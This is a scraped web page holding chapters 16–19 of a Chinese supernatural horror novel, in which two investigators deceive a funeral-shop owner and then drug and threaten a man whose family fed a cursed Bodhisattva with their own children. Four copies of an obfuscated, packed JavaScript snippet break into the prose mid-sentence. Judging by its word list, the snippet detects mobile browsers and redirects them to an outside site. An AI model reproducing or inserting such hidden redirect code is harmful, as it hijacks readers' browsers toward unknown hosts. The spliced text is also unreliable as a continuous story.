地面开始剧烈晃动起来,重新拼接的道路追逐而来,猛然托起车辆前轮,让整辆车疯狂上下颠簸。被车灯照亮的前方,路面从黑暗中升起,如同不断生长的动物骨骼。 后备箱的瓶瓶罐罐相互碰撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164581|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叮叮当当,热闹非凡。孟山慈一边踩油门,一边心在滴血:“我的药!” 林书渝死死抓住车门上方的扶手:“别管了!让老板报销!” 道路升起的速度赶不上人类一脚油门踩到底的疯劲,一阵强烈的失重感后,车前轮狠狠撞上地面,连带着车尾都翘起了几厘米。 孟山慈艰难地稳住自己的身子,没忘记关心一下同事:“怎么样?没事吧?” 林书渝闭了闭眼睛,努力平缓胃中的翻涌,有些虚弱:“我没事……开出来了吗?” 孟山慈看了眼导航上的箭头,肩膀放松下来:“开出来了,我们在滇水镇的边缘位置。” 这也说明方才他们开过的路还真是拼出来的,不然也没法在五分钟内到这里。 胸膛里疯狂跳动的心脏还没冷静下来,两人各自沉默几分钟,等心跳恢复正常频率后才想起关心一下车子。 孟山慈接着往前开了几米,感受着后轮无力的驱动力,语气也有点无力:“我怀疑四个轮子都爆了。” 泥偶沉重地说道:“叫拖车吧——我报销。” …… 天边泛起日出的灿金,孟山慈目送自己的车被拖车拖走,发出了惆怅的叹息。 “每出一次任务都修一回车……修车店的老板都眼熟我了。” 一想到接下来的调查都只能步行,林书渝也不由得惆怅起来:“没关系,最起码天亮了。” 天亮之后,七玄元显菩萨也不敢光明正大对他们下手,也就无需车辆的庇佑。 孟山慈揉了揉太阳穴,开始寻找便捷交通工具:“行吧,我们去找庙。” 十分钟后,清晨的大街上多出两道骑共享单车的身影。 七玄元显菩萨的庙并没有直接在地图上标注出来,他们方才随机找了个早餐店老板问了问,只得到了含糊不清的方向——这还是他们掏钱买下一整屉包子后的成果。 “当时应该多问几句的。”孟山慈拿起车筐里的豆浆喝了一口,“那个态度……肯定有问题。” 在他们提到“七玄元显菩萨”之后,那对夫妇瞬间变了脸色,支支吾吾不愿意多说一句,活像这个神名是什么不可言说的禁忌,连带着路上见到的所有人都对这几个字避如蛇蝎。 “这不是显而易见的事?会把人的头割下来的菩萨可不在普通人的接受范围内。”林书渝淡淡地发出嘲讽,身后的背包里时不时顾涌一下,这说明林念又消灭了一只包子。 在林念打算把唯剩的几个递出来给自家哥哥吃时,林书渝忽然放慢了速度。 “再这样找下去也不是办法。”林书渝沉吟片刻,“或许,我们可以转而去打听吕家人的消息。” 吕这个姓在滇水镇中并不常见,并且还与七玄元显菩萨紧密相连,说不定可以作为突破口。 孟山慈认可了他的打算,也跟着放慢了速度:“那要去和谁打听?老人?” “不,去殡葬店。” 老人可能会对某个家族的不幸一无所知,但殡葬店不会。 ——吕家,可是在这几年里死过人的。 16.人生如戏 将目的地换成殡葬店之后,他们的问路进程明显顺利不少。滇水镇面积小,殡葬业也压缩成了短短一条街,从头到尾包办了人的所有身后事。这也就意味着,无论是哪一间,都誓必参与过吕明远的葬礼。 找了个地方将车停好,林书渝将背包拉链拉开,对着里头的鬼婴耐心叮嘱:“待会进去之后嗅一嗅空气里味道,如果闻到了特别的东西就踢踢我。” 作为未出世的孩子所化作的鬼婴,林念对气味的敏锐程度很高,如同动物能敏锐地感应周遭的危险。 林念乖巧地点头答应,顺便堵上了青蛙的嘴。解决好前置工作,林书渝将拉链重新拉上,向孟山慈递了个眼神。对方心领神会,从口袋中掏出一把半透明的粉末擦在眼下,再添了些到唇周,面容顿时憔悴下来,眼角挂着深深的泪痕,让谁来看都觉得她哭了整夜。 “不用擦太多,在印堂和眼角处擦一擦就好。”变装完毕的孟山慈将粉尘倒到了林书渝的掌心。 林书渝依言照做,一分钟后,两个满面愁容的逝者家属踏进了纸扎店的大门。 纸扎店的老板是个中年人,在柜台后瞥了眼他们的脸色,顿时了然地换上了忧郁的表情,叹息道:“人生无常……两位是来挑纸扎的吧?冒昧地问一问是给谁烧?” “是我们的表哥。”孟山慈模仿出了恍惚的样子,轻声回答,“他前几年就出了事,我们在国外赶不回来,愧疚了很久。这次就想专门给他烧点衣服和用的,也算是补偿了。” 纸扎店老板也配合着唏嘘起来:“唉,这年头,意外总是不少。所以啊,一定要多回来看看,指不哪天见不到了呢?” “是,您说的是。”孟山慈用手指蹭了蹭眼角,一抹晶莹在眼中闪过。林书渝配合地向前一步扶住她:“姐,别伤心,明远哥肯定不希望我们这样。” 余光中,他看到在他说出这个名字之后,老板的表情明显的僵了一瞬,手指不觉地翻起了桌上的账本——这是心虚的体现。 两人心照不宣地移开视线,装作陷入了回忆的样子,接着喃喃:“看到新闻时我真的觉得天都塌了……明远哥收到大学录取通知书那天我们还替他高兴呢,怎么就成那样子呢?” 黑发青年的脸上升起几分愤然:“要不是我们偶然看到那则新闻,也不知道叔叔婵婶他们要瞒多久——那怎么可能是普通的意外?那是谋杀!是悬案!” 此话一出,纸扎店老板肉眼可见的慌乱起来,眼睛不住地朝店外瞟。孟山慈微不可察地敲了敲林书渝的手腕,表情一变,泫然欲泣地扑到了柜台上,将纸扎店老板想劝解的话硬生生吓了回去。 “老板,你是本地人肯定比我们更了解,当初兴成大酒店那个案子到底为什么现在都破不了?” “嘘!嘘!”纸扎店老板紧张地做出了噤声的手势,朝着门外看了又看,确定没人发现才松了口气,苦着张脸道:“小姑娘,这种话不能乱说的啊!” “这有什么不能说的?调查进度停滞不前是失职!是恶意拖延!我们没有举报都算好的了!”林书渝接替孟山慈的戏份,皱着眉头,义愤填膺地说道。 顶着“受害人家属”的目光,纸扎店老板挣扎了一下,到底还是松了口:“唉,看你们面善的份上,我还是多嘴劝一句吧——烧完东西就走,别再问这件事了,尤其是别问你们叔叔婶婶。” “为什么?”孟山慈的脸上尽是茫然与困惑,“旁人不说也就罢了,都是一家人,为什么不能问?” “这事很复杂?你们应该不常住在这边吧?” 林书渝与孟山慈对视一眼,点了点头:“对,平时只有红事或者白事才会来。” 纸扎店老板露出了然的表情,喃喃道:“那就难怪了,你们不知道吕家近几年的事。” 他顿了一下,借着翻账本的动作,装作心不在焉地往下讲:“你们吕家是靠谁发家的还记得吧?当年那叫一个气派,回乡的时候有五六辆车作陪,一家子五代人才生出这么一个出息人啊。后来说要还愿,一家人就在西边那块地建了个庙……” “供着七玄元显菩萨?”林书渝冷不零丁开了口。 纸扎店老板在听到这个名号后狠狠打了个寒战,连动作都慢了不少:“不信的人少念它的名字!被听到了怎么办?” 孟山慈向前靠了点:“没想到老板你还信这些?我们有听家里长辈提起过这尊菩萨,好像之前没什么庙。” “何止是没什么庙,根本就是没有人供!”纸扎店老板压低了声音,“除了吕家人,没人真心信那东西!但也真是奇了怪了,自从那以后,吕家出来的孩子一个比一个有出息——你们俩不也是?一直待在国外,工作应该很好吧?” 两人尴尬而不失礼貌地笑了起来:“还可以吧。” 纸扎店老板笃定了他们在谦虚,开始自怜自艾起来:“唉,我们可没吕家人这么好的命——” 说到一半,他的话头忽然顿住,打了下自己的嘴,有些懊恼:“不对,不羡慕,不羡慕,说错话了。” 他的动作纯粹是下意识的,这只说明了一点:多子多福、人才辈出的吕家这些“有出息的孩子”下场都不太好。 再多问容易让人起疑心,林书渝不动声色地向后退了两步,自然地转过身去,像是在挑纸扎制品。 而孟山慈则着顺着老板的话往下聊了几句,确定问不出更多后相当流畅地转移了话题:“对了,老板,我给你留个电话吧,酒店那边可能不太乐意我们把纸扎带回去。” 纸扎店老板欣然答应:“可以,我这边有好多客人都这样干的!” 说完,他从柜台下方掏出个小簿子,摊开放到了孟山慈身前。 另一边,林书渝悄悄拉开半边的拉链,让鬼婴将头探出来。林念左右望了望,在林书渝的手背上画了个小箭头。箭头指向的地方,虚掩的门后撒出来几张纸币,半箱胶水抵在门前,颇有种欲盖弥盖的味道。 “写在这里就行,到时候要来取或是别的什么直接打电话就好……” 身后传来老板热情的声音,林书渝用余光估测这里与柜台的距离,无声地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174354|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移到了视觉死角的位置,将缩小的青蛙放了出来。 “去看看,回来告诉我里面有什么。” 青蛙鼓动自己的黏膜,从青年的手上跳下去,灵活地缩进了门缝里。 柜台前,孟山慈一目十行地扫过上面记着的所有名字,在看到数量惊人的“吕”姓时目光一顿,模仿着吕家人的起名风格写下了假名。 “弟弟,你挑好了吗?不是说按清单上的来?”记下最近一次购买纸扎的吕家人的地址,孟山慈提高音量,向林书渝发出提醒。 林书渝背对柜台,扫了眼门缝中若隐若现的鲜艳色彩,面无表情地将背包扔到了地上:“等等,我包掉了!” 在背包倾倒的那一刻,青蛙借着箱子的遮挡跳了进去,无声地回到隔层之中。 黑发青年若无其事地包重新背好,走回了孟山慈身旁:“付过钱了吗?” 纸扎店老板赶紧摆了摆手:“不用现在给,肯定是来拿货的时候再给,也不缺这一时半会是不是?” 林书渝没有推拒,将手机收回了口袋,发自真心地说道:“老板,你人还挺好的。” 为他们省下了一笔开销。 纸扎店老板一头雾水地认下了这句夸赞:“是吗?哈哈哈。” 走出纸扎店,林书渝把手摊开伸进背包。下一秒,冰凉的硬物碰上手心——是半颗熟悉的菩萨脑袋,发间艳红的指甲像染了血。 林书渝将那半颗头丢进垃圾桶里:“那个老板在说谎,这镇子有不少人在信七玄元显菩萨。”当然,也包括了老板本人。 孟山慈发出冷笑:“那是当然——看到有人过得好,别的人会不效仿?现在匆匆忙忙地把塑像都毁掉,不过是看到吕家人的下场害怕了而已。” 那张购买纸扎的客户记录上,可是有大半都是吕家人。 “你刚刚在那本簿子里看到地址了吗?”林书渝按了按自己的后颈,声音有点轻。 孟山慈将方才拿到的地址输入导航,看着卫星地图上那四四方方的院子挑了挑眉:“这年头还有一大家子住同一个院子里的?” 这种古老的宗族习惯在淮北这块已经很少见了,不过倒是方便了他们找人。 林书渝并没有多意外:“在有共同信仰的情况下宗族观念会更强,而且……想要彰显自己的虔诚,让后人代代供奉是最简单的做法。” 既然这样,就必须将所有吕家人聚到一块,从出生起便将其打上“信徒”的标签。 这听起来也不缺伥鬼啊?怎么就盯上我了?林书渝有些郁闷地想。 后颈的刺痛感越发强烈,连带着整条脊椎都泛起了诡异的异样感。他下意识伸手揉了揉凸起的骨节,下一秒,疼痛如洪水般涌来,让他差点跪倒在地。 孟山慈注意到了他的异常,表情瞬间严肃起来,上手拨开了他的后领——原先的暗红痕迹处已经微微凹陷下去,就像有一块肉被生生挖起,一不留神望过去还会误认为是血洞。 “不能再拖了。”药人女的语气坚定,“走,去吕家。” 17.伥鬼 四四方方的大院里,穿着白衣的中年女人匆匆忙忙穿过中庭,用力拍响了一扇门。她用的力气很大,结实的木门都被她拍得猛烈摇晃起来,像是下一秒就能倒下。 几秒钟后,木门被人从里面打开,一张憔悴的脸出现在门后。还没等他开口,女人就自顾自的骂了起来。 “吕天保,你赔我儿子命来!你个挨千刀的狗东西,看你招回来个什么——” “士升死了?”名为吕天保的男人表情一变,焦急地打断了她的话。 “你还有脸提士升的名字?”女人的声音越发尖锐,“是!他死了!牌子都成两截了!像你那好儿子一样!” 吕天保的脸顿时变得刹白,一种混杂着恐惧、悔恨与憎恶的情绪爬上他的眼睛。他一把抓住女人的肩膀,带着红血丝的眼珠快要跌出眼眶。 “你是怎么知道的?”他咽了口口水,像个彷徨的野兽,“是不是菩萨跟你说话了?是不是?!” 女人被他吓得不清一时之间连自己的满腔怒火都全数忘记,哆哆嗦嗦地指向了外厅:“菩,菩萨没说话,是两个外乡人告诉我的,一男一女。他们说是士升的工友……” 吕天保猛然将她松开,额头上冷汗涟涟,手指开始不自觉地绞紧。女人惊疑不定地看着他,半晌都不敢伸手去碰。 “都是你,你说可以求多些的,我听了你的话才和菩萨说——” “那是你贪得无厌!”吕天保用力瞪着她,“我们都贪得无厌!现在倒好,菩萨来收报酬了!” 说完,吕天保直接越过她,直直走向了接待客人的外厅。胸前的半截木牌伴随着他的动作摇晃,上面用朱砂写的名字早已模糊不清。 他用颤抖的手将门推开——沙发上,两个陌生的年轻人同时抬起头向他看来,眼瞳在光线下如同黑沉的墨水。 心头的慌张忽然被茫然所代替,吕天保睁大眼睛:“你们是……” “终于等到了。”坐在右侧的长发女人慢条丝理地从口袋里掏出一包粉末。 而左侧的黑发青年则凝视着他的脸,淡淡地说道:“念念,动手。” 下一秒,身后的门轰然合拢。 …… “名字?” “吕天保。” “吕明远是你的谁?” “我的儿子。” 封闭的空间里,中年男人目光呆滞地站在茶几,一板一眼地回答着沙发上的两人的问题。漂浮在半空中的泥偶在黑发青年的后颈处忙得团团转,恨不得自己变成一块特效药贴上去。 林书渝把思虑过度的老板按下去,强行让自己忽略掉后颈的刺痛,接着问道:“你知道吕明远的真正死因,对吗?” 当年,兴成大酒店的案子闹得轰轰烈烈,如果没有家属默许,冷处理不会这么顺利。 吕天保的表情变得扭曲起来,生理上的恐惧与药物的强驱动力撞在一起,让他嘴唇剧烈地颤抖起来:“我知道……是因为菩萨想把明远收回去,我们不愿意……菩萨发怒了,它发怒了,要把赐给我们的东西一个个收回去!” 他打了个哆嗦,抱着头蹲下来,嘴里不住念叨着:“菩萨息怒,都是我们一时糊涂……我不想死……我不想死……” 林书渝听着他颠三倒四的话,有些无奈地看向了孟山慈。方才还在翻吕家家谱的药人女叹了口气,抽出匕首抵到男人的胸口前。抖得像筛子似的男人顿时僵住了身子,一动也不敢动。 “冷静下来了?”孟山慈蹲下,用匕首侧边拍了拍他的脸颊,“想清楚点,这里没有人会杀你。” 头骨陷下去一半的鬼婴摇摇晃晃地爬上青年的腿,捏着他白皙的手指玩。吕天保的眼球惶恐地滚动,跟随着鬼婴的全套动作。 孟山慈顺着他的目光看过去,恍然大悟,贴心地补上了一句:“这里的鬼也不会。” 吕天保挤出比哭还难看的笑来,小心翼翼保持着上半身不动,点了点头。 “你一开始应该多用点剂量。”林书渝垂眸,心不在焉地说道,“人在极端恐惧的情况下会思维混乱,完全依靠本能说出来的话才可靠。” 孟山慈承认自己低看了这个新同事,不由地掩唇笑了笑:“那可能会让这家伙智力下降,甚至直接成白痴都有可能。” “反正本身就活不了多久了——吕天保。” 男人下意识全身抖了抖:“在、在。” “你们吕家人向七玄元显菩萨求的是什么?” 客厅中瞬间沉寂下来,过了许久,才响起吕天保如同梦呓般的声音。 “我向菩萨求一个聪明、乖巧的孩子。”他喃喃道,“它对我说,求什么就要给什么,我就从菜市场里买下了羊头,把羊脑掏出来供给菩萨。它说不够,我就去买猪脑、狗脑。直到有一天,我拿到了一个保温瓶。” “保温瓶?”孟山慈嗅到了一丝不对劲的气息,皱着眉头追问,“里头是什么?谁给你们的?” 吕天保向后缩了缩,咽了口口水:“是医院里没救下来的死胎,那对夫妻不要了,就到了我们手上。菩萨很高兴,让我回去等,三个月后,我老婆果然生下来一个漂亮的孩子,一打眼看过去就漂亮。” 他抬起头,脸上的笑容灿烂幸福得有些恶心:“你们见过还没月就会说话的孩子吗?明远会。那时候他甚至还不会翻身,每一个算命的师傅都说他一定会有出息。然后,菩萨在七岁的时候,把明远叫了过去……回来之后,明远说,菩萨很喜欢他,要收他回去做童子。这怎么可以呢?” “你害怕了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178521|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以把这件事告诉了其他吕家人,让他们的孩子来做替死鬼。”林书渝平静地说出了这个事实。 吕天保的脸上爬上惶恐,手指不住地抓挠着自己的喉咙:“我没有,我都是为了他们好,谁知道菩萨也会喜欢他们的孩子?!不……菩萨看上谁是谁的命好!谁也跑不掉!一个个的都要死……” 他猛然抬起头,伸出手指,直直地指向林书渝眉心不知从何时起变得明艳起来的一抹红,痴痴地笑了起来:“也包括你!” 孟山慈站起,狠狠给了他一脚。她没有收力,男人顿时飞了出去,在地面上滑了好半米的距离,痛苦地蜷缩成一团。鬼婴从青年的膝盖上爬下,用怨毒的视线扫过男人的全身。 “给你脸了?不会好好说话?”药人女总是笑盈盈的脸染上阴霾,揪住男人的头发把他扯起来,“你们不止用了这些吧?吕家这些年生了这么多个孩子是怎么留住的?菩萨不是一开始就想带他们走?” 吕天保挣扎起来,但依旧控制不住自己的嘴在药物的作用下张开:“替死鬼,菩萨说给它替代品就暂且延缓时限——先是求子的外人,然后是院子里头的自己人,不想生的、后来才生下来的……都死了。” 二十多年过去,吕家大院空荡荡一片,不是因为太穷,而是因为死了太多的人,没有人敢留下。 泥偶冷笑一声:“也难为你们费尽心思把这事压下来。这不过是那邪祟选伥鬼的法子,只有你们这群蠢货会信!” 整个吕家都成为了巨大的炼蛊场,每个人都要踩着别人的命才能活下去。可活到最后的那个真的还能算是人类吗? 因果报应,轮回不爽。犯下这么多的杀孽,早就不能做个正常人了。 “你们什么也不懂!”吕天保面目狰狞,“家业难守,如果不是菩萨保佑,我们吕家怎么可能延续到现在?不过是死一两个人,为了传承有何不可?!” 孟山慈死死踩在他的肩膀上,让他的头无法抬起。就算是这样,男人依旧用力撑起身子,满是红血丝的眼睛死死盯着青年的脸。 林书渝从沙发上站起,来到他的身前,缓缓蹲下。 他果然还是很难明白怎么会有人主动把家里人变成鬼。十三岁回到家里的那天,他的世界彻底颠倒了过来。 更何况…… “你应该不知道,你的儿子腹中还有个孩子。”林书渝回忆起酒店里所看到的那一幕,若有所思地说道,“严格意义上,[吕明远]是张皮,他死之后肚子里剩下的那个才是真正的吕明远。” 一个死人,哪里来的养分让鬼婴降生?他当时想了很久,到这里来之后就明白了——那腹中的孩子才是躯体的主人。 吕家人这二十多年以来,都只不过是在替七玄元显菩萨养伥鬼。 18.催命香 真正的[明远]……? 吕天保目眦尽裂,那颗血红的眼珠仿佛下一秒就要从眼眶里滚下来。他一动不动地看着黑发青年漆黑的眼睛,化为了一座僵硬的雕像。 过了许久,安静的室内响起了男人干涩的声音:“这是什么意思?” 林书渝困惑地歪了歪脑袋:“原来你真的一点都不知道?” 还没满月就会开口说话的小孩很常见吗?任何一个正常人都会怀疑一下自己到底生出来个什么东西吧。 吕天保没有回答他的话,只是沉默着,表情一片空白,仿佛被无形的力量抽离了所有情绪。 “新人小哥,没必要和这种蠢货交代这么多,浪费口水。”孟山慈踩着男人肩上的脚向下压了压,让那具僵硬的身体栽倒在了地上。她低头,眼中一片冷漠。 “在这里装什么慈父?当初不是你亲手把儿子送上去的?哦,差点忘了,还有别人的孩子,也一块被你送上去了。” 林书渝敏锐地捕捉到了她脸上一闪而过的厌恶,并非是基于普世价值观的不屑,更像是……联想到了某件事情。 他很识趣地没有多嘴,对着吕天保继续问道:“你们是怎么接触到这尊菩萨的?” 过往二十余年的努力被全盘否定,吕天保已经放弃了抵抗,浑浑噩噩地抬起眼来:“二十五年前,我在韶山市开了间小公司。我从小运气就好,就连财运也一样旺,眼见着小公司就要走上正轨,意外出现了——接下的大单出了大问题,公司资金链断裂,声誉一落千丈,我迫不得已带着所有家产狼狈地滚回这个落后的镇子,勉强维持着最后的体面。就在我老婆怀孕七个月的时候,一个年轻的女人敲响了我们的门。” 他看向林书渝那双漆黑的眼睛时有一瞬间的恍惚,就像是隔着二十多年的时光与那张年轻的脸对上。吕天保下意识打了个寒颤,声音更加飘忽不定。 “她说她迷路了,想要借宿。我本来不想让她进来,因为那张年轻的脸——年轻到让人害怕,一条皱纹也没有,比刚出生的婴儿还要光滑。可我老婆怀孕了,为了孩子的气运,这种时候总要积德行善,我就让她住了进来。” “第二天早上,她消失了,凭空消失,没有人看见她出门了!我们走进客房里一看,一尊菩萨摆在床上。我从来没有见过那样的菩萨……五只手,邪门到让我连碰都不敢碰。可就在夜里,我又梦见了那个年轻人,她告诉我菩萨的名号和神通,并且说出了我的愿望。” “一个聪明、漂亮的孩子。”林书渝接上了他的话,“你不信命,所以想要自己的孩子把家业拿回来。” 吕天保用力点了点头,又摇了摇头,像个喜怒无常的疯子,用力抓挠自己的头发:“那明明就是个梦而已,可是我信了!没有任何理由!就像疯了一样为那个菩萨修庙、给它上供、发誓要世代供奉它。等我发现不对的时候,已经晚了。” 整个吕家都成了七玄元显菩萨手里的一块肉,只能终日惶恐不安地维系这古怪的祭祀流程——直到最开始的那个“聪明孩子”也死了。 这件事牵扯到的东西突然变得复杂起来,林书渝与孟山慈对视一眼,都看到了彼此眼中的无奈。 只不过,比起调查背后黑手,还是应付生死大事更急切些。孟山慈又从口袋里找出一包药粉,倒在手心里用力捂上吕天保的口鼻。 “唔!唔!”吕天保如同脱水的鱼那般挣扎起来,孟山慈不耐烦地抬手给他后脑勺扇了一巴掌。 “这是解药——站起来。” 说完,她松开手,抱着胸后退了两步,和林书渝并排而立。 吕天保迟缓地眨了眨眼睛,过了好几秒才反应过来,颤颤巍巍地站了起来,目光刚往门口的方向移动半寸,一大块冰凉的东西抱住了他的腿。他身体一僵,欲哭无泪地向下看,正好对上了鬼婴阴森的笑脸。 “你之前说你能和菩萨说话。”林书渝挥了挥手,指挥青蛙用长舌将门打开一条缝,“带我们过去。” “两位大师,不是我不想,而是所有的塑像都被我们砸了啊!哪还有剩下的?没了塑像又怎么说话?”吕天保满脸悲苦地说道。 林书渝垂眸:“撒谎了。” 孟山慈叹了口气,指间寒光闪过,匕首锋利的刀刃在她的手中乖顺到像是蝴蝶。再轻飘飘地一翻手,匕首化为一道残影,擦着吕天保的脸颊而过,深深扎进了后方的门板里。 “诚实一点,我不想浪费我的药。”孟山慈从青蛙的口中取回匕首,“你知道的,给你下药之后架着你指路也是一样的效果。” 与阎王擦肩而过的吕天保抖得像个筛子,但依旧嘴硬:“真、真的一座都没剩下!连庙都毁了,其他的怎么可能留着?” “——因为你怕死。”后颈的疼痛越发尖锐,皮肉翻开触及空气,传来冰凉的古怪触感。林书渝的眉眼间蒙上疲惫,语气也越发平淡,“毁了塑像的人都没有好下场,你这么怕死,怎么会主动得罪菩萨?我不喜欢动手……” 一道模糊不清的倩影从他的背后飘出,亲密无间地环住了他的肩膀,像哄孩子那样拍了拍他的头。与此同时,鬼婴沿着男人的腿向上攀爬,枯黑的尖爪深深刺进男人的皮肤。 林书渝闭上眼,脸色有些苍白地向后靠去,被镜鬼稳稳接住。亲人的虚弱让镜鬼的攻击欲迅速爬升,恐怖的裂痕在短短几秒内蔓延到全脸,冰冷的杀意让空气的温度都下降几分。 “带路,我不想说第二遍。” …… 空旷的长廊中回荡着急促的脚步声,没有一点装饰品的斑驳墙面象征着这个家族正在走向末路。吕天保在镜鬼出现后就吓没了三魂六魄,一边发抖一边在前面带路,连头都不敢回。 脊柱连带着全身的神经都在抽痛,林书渝被姐姐的分影扶着前进,恍惚之间甚至觉得自己的每个骨头都在试图逃离躯体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180601|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一道视线投来,明显到让人无法忽视。林书渝勉强将头转过去,看见了孟山慈写满了好奇的眼睛。 “我的姐姐。”还没等她开口询问,林书渝便未卜先知地回答,“不是本体,只是她的一张皮。” 孟山慈若有所思地点了点头,眼中兴昧不减:“你家里人的构成挺有意思的……我还是第一次见。” “现在你见过了。”疼痛让大脑都变得懒洋洋的,林书渝发觉自己越来越不想说长句子,“你自己也不是普通人类?” “呵呵,虽然我经常被开除人籍,但我还是打从内心起认为自己是个人类的。”孟山慈轻描淡写地说道。 前头的吕天保将他们的对话听得一清二楚,顿时走得更快了,根本分不清是前头的邪菩萨吓人些还是后头那几个根本不是人的家伙更吓人。 只不过,在踏进祠堂看见台上端放的五手菩萨像时,已然深深刻入骨髓中的恐惧还是压过了一切,让他哆哆嗦嗦地跪倒在了地上。 “这,这尊是最开始的那个,只有这尊才能对话。” 林书渝跨过高度惊人的门槛,眯起眼睛望了过去:有着五只手臂的菩萨盘腿坐于竹篮之中,皮肤泛着鲜活的红,衣服上的每一条褶皱都尽显柔软,就像是一个会呼吸的、下一秒眼珠就会转动着看来的活物。 ——这比他先前于幻境中看到的还要接近“活着”。 孟山慈深知不可过长时间与邪崇对视的规矩,只是快速扫了一眼就移开目光,对着叩头便拜的吕天保催促:“要怎么问?” “菩萨在的时候会直接开口,现在应当是不在……”吕天保用余光看见了那抹鬼影,赶紧又补上了一句,“如果不在,可以点三柱香,菩萨也会回答的!” 这倒是和寻常问神的手段一样,孟山慈扫视一圈,从一旁的桌子上找到放香的木盒,塞到了吕天保的手上。 “你先问。”孟山慈掏出火柴盒,在男人的面前晃晃,“东西都给你备全了,最好动作利落点,别拖延时间,好吗?” 吕天保看着那张笑盈盈的脸,只觉得这个温婉的女人简直是个恶魔,赶紧用力点了点头,做了个深呼吸,将香点燃。 飘渺的白烟升起,模糊了菩萨的眉眼。男人将香举至齐眉,深深俯身拜下。 “七玄元显菩萨在上……” 火红的光点明亮如星,吕天保膝行向前,将三柱香插进香炉之中。线香轻颤,灰白的燃尽部分肉眼可见地延长、停滞,最后簇簇落下。 吕天保额头冒出冷汗,死死盯着三支香的长短,在它们趋于齐平时大松一口气,咧嘴笑了起来。 “是平安香、平安……” 一阵风吹过,最右端的香突然燃起,迅速烧尽了三分之一。吕天保的笑僵在脸上,说到一半的话卡在喉中,变为了难听的“嗬嗬”声。 左中持平,右极短。 ——是催命香。 19.菩萨降临 有些昏暗的祠堂里,两长一短的线香还在不断燃烧,顶端的红光忽明忽暗,恍若在跟随着某种生物的呼吸频率。 短暂的震惊过后,吕天保反应极快地朝着菩萨像叩了三个响头,慌乱不已地又点燃了三支香。可这次,不等他将线香插进香炉,香灰便纷纷落下——两长一短,左高右低,仍是一支催命香。 滚烫的灰砸在男人的手上,留下道道白痕,可他却浑然不觉,只是呆滞地看着手中的香。 “不是小天真香……这算是来了还是没来?”孟山慈左右环顾,暗自握紧了手中的匕首,已经做好防备。 “不清楚。”林书渝的瞳孔略显涣散,目光定定地落在男人的头顶,声音轻到如同昵喃,“但,他要死了。” 那双沉如墨水的眼中倒映出面前的一切,清晰而完整,却又平白多出了一些东西——无数根红得发黑的细线已经缠上了男人的脖颈,只差一步就能深深勒进他的皮肉之中。 “死”这个音节犹如一个开关,让呆愣的男人忽然回过神来,猛得向前一扑,整个人倒在了香炉之上。咣当的清脆声响回荡于祠堂之中,混杂着男人癫狂的低语。 “菩萨在上,我没有错!我没有背叛!我……我多虔诚啊,我愿把剩下的吕家人都献给菩萨!” 吕天保抬起头,笑容谄媚而滑稽,扬手朝后指去。 “包括那两个外乡人也可以的!只要菩萨高兴——” 他高高扬起的手悬在了半空。 咔咔。骨头被断开,发出简简单单的两声脆响。吕天保的头颅挂着那愚蠢的笑容,落到了香炉之中,在厚厚的香灰上翻滚半圈,那总是鼓动唇舌说出谎言的嘴就这样被香灰淹没。 这一切都发生在须臾之间,直到血液从平整的切口处潺潺流下,祠堂中才响起了别的声音。 “后退!”泥偶厉声道,“别被他的血碰到!” 他的话音刚落,失去了头颅的尸体便软绵绵地向后倒去,暗红的血液撒满了瓷白的地砖。细微的凸起于血泊中蠕动,在一次次起伏里变化形体、重构,最后生长出稀疏的羽毛。 光秃秃的喜鹊张大新生的嘴,人类的血液还没失去温度,粘在它们布满斑点的皮上,充当最管用的保温剂。雏鸟们挤作一团,在血液中打滚,发出刺耳的失叫,拿骨头都没长全的翅膀向四周爬动,一眨眼之间便淹没了吕天保的尸体。 哪怕是见多了恶心场面的孟山慈都忍不住发出了干呕声,下意识后退了两步。 “这是什么?”她的声音中充斥着不可置信,“……喜鹊?为什么会是这种东西?” 林书渝勉强安抚着被危险激发攻击本能的鬼婴,抽空回答了她的问题:“因为喜鹊多子。” 